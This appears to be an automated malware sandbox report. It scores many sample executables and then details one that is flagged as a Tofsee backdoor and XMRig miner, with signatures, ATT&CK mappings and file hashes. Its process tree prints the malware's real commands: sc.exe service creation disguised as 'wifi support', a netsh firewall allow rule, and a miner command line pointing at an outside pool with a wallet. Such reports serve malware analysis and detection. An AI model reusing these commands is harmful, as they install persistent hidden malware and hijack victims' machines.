Overview

overview

10

Static

static

10

foo/0044d6...f7.exe

windows7_x64

1

foo/0044d6...f7.exe

windows10_x64

1

foo/034e4c...a9.exe

windows7_x64

4

foo/034e4c...a9.exe

windows10_x64

4

foo/035fa2...72.exe

windows7_x64

10

foo/035fa2...72.exe

windows10_x64

10

foo/04884a...1b.exe

windows7_x64

8

foo/04884a...1b.exe

windows10_x64

8

foo/06ed82...59.exe

windows7_x64

7

foo/06ed82...59.exe

windows10_x64

7

foo/07470b...68.exe

windows7_x64

8

foo/07470b...68.exe

windows10_x64

8

foo/078adb...c0.exe

windows7_x64

10

foo/078adb...c0.exe

windows10_x64

10

foo/09e5c8...b4.exe

windows7_x64

1

foo/09e5c8...b4.exe

windows10_x64

1

foo/0becfe...f4.exe

windows7_x64

10

foo/0becfe...f4.exe

windows10_x64

10

foo/1a78d3...a3.exe

windows7_x64

5

foo/1a78d3...a3.exe

windows10_x64

5

foo/1ffe82...a6.exe

windows7_x64

10

foo/1ffe82...a6.exe

windows10_x64

10

foo/255028...e1.dll

windows7_x64

1

foo/255028...e1.dll

windows10_x64

1

foo/27601d...cc.exe

windows7_x64

8

foo/27601d...cc.exe

windows10_x64

8

foo/27f911...49.exe

windows7_x64

10

foo/27f911...49.exe

windows10_x64

10

foo/28408c...c5.exe

windows7_x64

10

foo/28408c...c5.exe

windows10_x64

10

foo/296822...e4.dll

windows7_x64

3

foo/296822...e4.dll

windows10_x64

3

foo/2de7b8...a4.exe

windows7_x64

10

foo/2de7b8...a4.exe

windows10_x64

10

foo/2e00df...8b.exe

windows7_x64

9

foo/2e00df...8b.exe

windows10_x64

9

foo/2e90a1...22.exe

windows7_x64

6

foo/2e90a1...22.exe

windows10_x64

6

foo/2f215e...b0.dll

windows7_x64

10

foo/2f215e...b0.dll

windows10_x64

10

foo/30bc06...3e.exe

windows7_x64

10

foo/30bc06...3e.exe

windows10_x64

10

foo/312e67...f3.exe

windows7_x64

4

foo/312e67...f3.exe

windows10_x64

4

foo/383497...1b.exe

windows7_x64

10

foo/383497...1b.exe

windows10_x64

10

foo/39555e...ec.exe

windows7_x64

10

foo/39555e...ec.exe

windows10_x64

10

foo/39e531...04.exe

windows7_x64

10

foo/39e531...04.exe

windows10_x64

10

foo/3aba72...cd.exe

windows7_x64

1

foo/3aba72...cd.exe

windows10_x64

1

foo/406c9b...fe.exe

windows7_x64

10

foo/406c9b...fe.exe

windows10_x64

10

foo/457cfd...ca.exe

windows7_x64

7

foo/457cfd...ca.exe

windows10_x64

7

foo/4761e4...60.exe

windows7_x64

8

foo/4761e4...60.exe

windows10_x64

8

foo/487f1b...04.exe

windows7_x64

8

foo/487f1b...04.exe

windows10_x64

7

foo/4a74c9...cf.exe

windows7_x64

10

foo/4a74c9...cf.exe

windows10_x64

10

foo/4b2d78...4b.exe

windows7_x64

8

foo/4b2d78...4b.exe

windows10_x64

8

foo/4c49c2...ba.exe

windows7_x64

1

foo/4c49c2...ba.exe

windows10_x64

1

foo/4cfe8f...77.exe

windows7_x64

9

foo/4cfe8f...77.exe

windows10_x64

9

foo/4ea454...13.exe

windows7_x64

8

foo/4ea454...13.exe

windows10_x64

8

foo/52d6c5...7e.exe

windows7_x64

7

foo/52d6c5...7e.exe

windows10_x64

7

foo/55fc11...e0.exe

windows7_x64

foo/55fc11...e0.exe

windows10_x64

10

foo/59f0fb...06.exe

windows7_x64

1

foo/59f0fb...06.exe

windows10_x64

1

foo/5b1c0d...cb.exe

windows7_x64

1

foo/5b1c0d...cb.exe

windows10_x64

1

foo/5bc72a...ea.exe

windows7_x64

8

foo/5bc72a...ea.exe

windows10_x64

8

foo/5d3305...2a.exe

windows7_x64

7

foo/5d3305...2a.exe

windows10_x64

7

foo/5d9775...39.exe

windows7_x64

8

foo/5d9775...39.exe

windows10_x64

8

foo/60121e...3e.exe

windows7_x64

9

foo/60121e...3e.exe

windows10_x64

9

foo/62565a...fd.exe

windows7_x64

10

foo/62565a...fd.exe

windows10_x64

10

foo/62a3fd...64.exe

windows7_x64

8

foo/62a3fd...64.exe

windows10_x64

10

foo/63e9ce...d0.exe

windows7_x64

8

foo/63e9ce...d0.exe

windows10_x64

8

foo/6497ba...c5.exe

windows7_x64

10

foo/6497ba...c5.exe

windows10_x64

10

foo/698cc8...31.exe

windows7_x64

7

foo/698cc8...31.exe

windows10_x64

7

foo/6f2c5c...d5.exe

windows7_x64

7

foo/6f2c5c...d5.exe

windows10_x64

7

foo/798f5e...ba.exe

windows7_x64

10

foo/798f5e...ba.exe

windows10_x64

10

foo/7aec86...51.exe

windows7_x64

1

foo/7aec86...51.exe

windows10_x64

1

foo/84bf6e...64.exe

windows7_x64

8

foo/84bf6e...64.exe

windows10_x64

8

foo/907b7d...b3.exe

windows7_x64

8

foo/907b7d...b3.exe

windows10_x64

8

foo/928f1d...ee.exe

windows7_x64

1

foo/928f1d...ee.exe

windows10_x64

1

foo/9401b0...6c.exe

windows7_x64

1

foo/9401b0...6c.exe

windows10_x64

1

foo/97dd87...84.exe

windows7_x64

10

foo/97dd87...84.exe

windows10_x64

10

foo/9b8c48...a4.exe

windows7_x64

8

foo/9b8c48...a4.exe

windows10_x64

8

foo/9cde71...cd.exe

windows7_x64

6

foo/9cde71...cd.exe

windows10_x64

6

foo/9d3438...4b.exe

windows7_x64

8

foo/9d3438...4b.exe

windows10_x64

1

foo/9f8818...2d.exe

windows7_x64

8

foo/9f8818...2d.exe

windows10_x64

3

foo/a17bdc...cf.exe

windows7_x64

9

foo/a17bdc...cf.exe

windows10_x64

9

foo/a29811...46.exe

windows7_x64

10

foo/a29811...46.exe

windows10_x64

10

foo/aa3b51...52.exe

windows7_x64

10

foo/aa3b51...52.exe

windows10_x64

10

foo/acf0b7...c4.exe

windows7_x64

8

foo/acf0b7...c4.exe

windows10_x64

8

foo/aeca5c...f7.exe

windows7_x64

1

foo/aeca5c...f7.exe

windows10_x64

1

foo/b10714...f3.exe

windows7_x64

8

foo/b10714...f3.exe

windows10_x64

8

foo/b23652...9f.exe

windows7_x64

6

foo/b23652...9f.exe

windows10_x64

6

foo/b514b5...fc.exe

windows7_x64

1

foo/b514b5...fc.exe

windows10_x64

1

foo/b64196...23.exe

windows7_x64

7

foo/b64196...23.exe

windows10_x64

7

foo/b693df...60.exe

windows7_x64

7

foo/b693df...60.exe

windows10_x64

7

foo/b6e7c9...bc.exe

windows7_x64

10

foo/b6e7c9...bc.exe

windows10_x64

10

foo/b7d5f0...4a.exe

windows7_x64

10

foo/b7d5f0...4a.exe

windows10_x64

10

foo/ba2d46...29.exe

windows7_x64

1

foo/ba2d46...29.exe

windows10_x64

1

foo/bad78e...e5.exe

windows7_x64

9

foo/bad78e...e5.exe

windows10_x64

9

foo/bc6536...b9.exe

windows7_x64

10

foo/bc6536...b9.exe

windows10_x64

10

foo/be85e0...2c.exe

windows7_x64

1

foo/be85e0...2c.exe

windows10_x64

1

foo/c914b1...ee.exe

windows7_x64

3

foo/c914b1...ee.exe

windows10_x64

3

foo/c944ea...cc.exe

windows7_x64

8

foo/c944ea...cc.exe

windows10_x64

8

foo/cad363...8b.exe

windows7_x64

6

foo/cad363...8b.exe

windows10_x64

6

foo/cd89b6...df.exe

windows7_x64

8

foo/cd89b6...df.exe

windows10_x64

8

foo/d81e76...c4.exe

windows7_x64

10

foo/d81e76...c4.exe

windows10_x64

10

foo/d86d2c...08.exe

windows7_x64

10

foo/d86d2c...08.exe

windows10_x64

10

foo/d8e37d...98.exe

windows7_x64

9

foo/d8e37d...98.exe

windows10_x64

9

foo/dea515...e1.exe

windows7_x64

10

foo/dea515...e1.exe

windows10_x64

6

foo/dfcc55...b8.exe

windows7_x64

7

foo/dfcc55...b8.exe

windows10_x64

7

foo/e03bd4...fe.exe

windows7_x64

8

foo/e03bd4...fe.exe

windows10_x64

8

foo/e16ec7...2d.exe

windows7_x64

8

foo/e16ec7...2d.exe

windows10_x64

8

foo/e61c0e...0e.exe

windows7_x64

7

foo/e61c0e...0e.exe

windows10_x64

7

foo/e78fad...51.exe

windows7_x64

8

foo/e78fad...51.exe

windows10_x64

8

foo/e7ad45...88.exe

windows7_x64

3

foo/e7ad45...88.exe

windows10_x64

3

foo/e95678...8f.exe

windows7_x64

1

foo/e95678...8f.exe

windows10_x64

1

foo/edf723...ee.dll

windows7_x64

1

foo/edf723...ee.dll

windows10_x64

1

foo/f2366f...f5.exe

windows7_x64

1

foo/f2366f...f5.exe

windows10_x64

1

foo/f645a9...1f.exe

windows7_x64

1

foo/f645a9...1f.exe

windows10_x64

1

foo/f65e75...56.exe

windows7_x64

1

foo/f65e75...56.exe

windows10_x64

1

foo/f66028...2b.exe

windows7_x64

8

foo/f66028...2b.exe

windows10_x64

8

foo/f6c1c7...89.exe

windows7_x64

10

foo/f6c1c7...89.exe

windows10_x64

10

foo/fbab90...7c.exe

windows7_x64

7

foo/fbab90...7c.exe

windows10_x64

7

foo/fcdc00...b3.exe

windows7_x64

8

foo/fcdc00...b3.exe

windows10_x64

8

foo/fffb61...ba.exe

windows7_x64

1

foo/fffb61...ba.exe

windows10_x64

1

Analysis

  • max time kernel
    157s
  • max time network
    195s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    11-08-2020 12:30

General

  • Target

    foo/2de7b886ed3bf5455694d76ac69a96a4.exe

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\foo\2de7b886ed3bf5455694d76ac69a96a4.exe
    "C:\Users\Admin\AppData\Local\Temp\foo\2de7b886ed3bf5455694d76ac69a96a4.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1500
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fargflzd\
      2⤵
        PID:2060
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pflefndm.exe" C:\Windows\SysWOW64\fargflzd\
        2⤵
          PID:2664
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fargflzd binPath= "C:\Windows\SysWOW64\fargflzd\pflefndm.exe /d\"C:\Users\Admin\AppData\Local\Temp\foo\2de7b886ed3bf5455694d76ac69a96a4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3800
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description fargflzd "wifi internet conection"
            2⤵
              PID:3604
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start fargflzd
              2⤵
                PID:3932
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3420
              • C:\Windows\SysWOW64\fargflzd\pflefndm.exe
                C:\Windows\SysWOW64\fargflzd\pflefndm.exe /d"C:\Users\Admin\AppData\Local\Temp\foo\2de7b886ed3bf5455694d76ac69a96a4.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3548
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3272
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5qZ5atUw8pcCBWAXgMv6YiGMTeaVjFHoG2UAPWFKVFFsUvvWXKTTHPH5z97QVpSJW6jh98jzGzxpnR7XKbBjaYp94j4VRqx+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1532

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Discovery

              System Information Discovery

              1
              T1082

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\pflefndm.exe
                MD5

                fbc6e7afbaef9380ddf1144712f0c6cb

                SHA1

                e9fb8adcf79d5a50ca90941b37a9737920bd6e22

                SHA256

                1f354b4fb1d02b5a5ac948eecc630100b2a78884a894b0fabcdb087100f08739

                SHA512

                d5734cc6fd690087aba27f0e15de0bef946660e13492001fafa98a8d41f0376ba88bb782ccc233de4a0e663f512501bb3e0b86b0960c3e990038d544c81c764d

              • C:\Windows\SysWOW64\fargflzd\pflefndm.exe
                MD5

                fbc6e7afbaef9380ddf1144712f0c6cb

                SHA1

                e9fb8adcf79d5a50ca90941b37a9737920bd6e22

                SHA256

                1f354b4fb1d02b5a5ac948eecc630100b2a78884a894b0fabcdb087100f08739

                SHA512

                d5734cc6fd690087aba27f0e15de0bef946660e13492001fafa98a8d41f0376ba88bb782ccc233de4a0e663f512501bb3e0b86b0960c3e990038d544c81c764d

              • memory/1532-19-0x00000000022C259C-mapping.dmp
              • memory/1532-17-0x0000000002230000-0x0000000002321000-memory.dmp
                Filesize

                964KB

              • memory/2060-0-0x0000000000000000-mapping.dmp
              • memory/2664-1-0x0000000000000000-mapping.dmp
              • memory/3272-12-0x00000000025E0000-0x00000000025E6000-memory.dmp
                Filesize

                24KB

              • memory/3272-8-0x00000000025B0000-0x00000000025C5000-memory.dmp
                Filesize

                84KB

              • memory/3272-9-0x00000000025B9A6B-mapping.dmp
              • memory/3272-10-0x00000000025B0000-0x00000000025C5000-memory.dmp
                Filesize

                84KB

              • memory/3272-11-0x0000000004580000-0x000000000478F000-memory.dmp
                Filesize

                2.1MB

              • memory/3272-13-0x00000000025F0000-0x0000000002600000-memory.dmp
                Filesize

                64KB

              • memory/3272-14-0x0000000002840000-0x0000000002845000-memory.dmp
                Filesize

                20KB

              • memory/3272-15-0x0000000008D50000-0x000000000915B000-memory.dmp
                Filesize

                4.0MB

              • memory/3272-16-0x0000000002850000-0x0000000002857000-memory.dmp
                Filesize

                28KB

              • memory/3420-7-0x0000000000000000-mapping.dmp
              • memory/3604-4-0x0000000000000000-mapping.dmp
              • memory/3800-3-0x0000000000000000-mapping.dmp
              • memory/3932-5-0x0000000000000000-mapping.dmp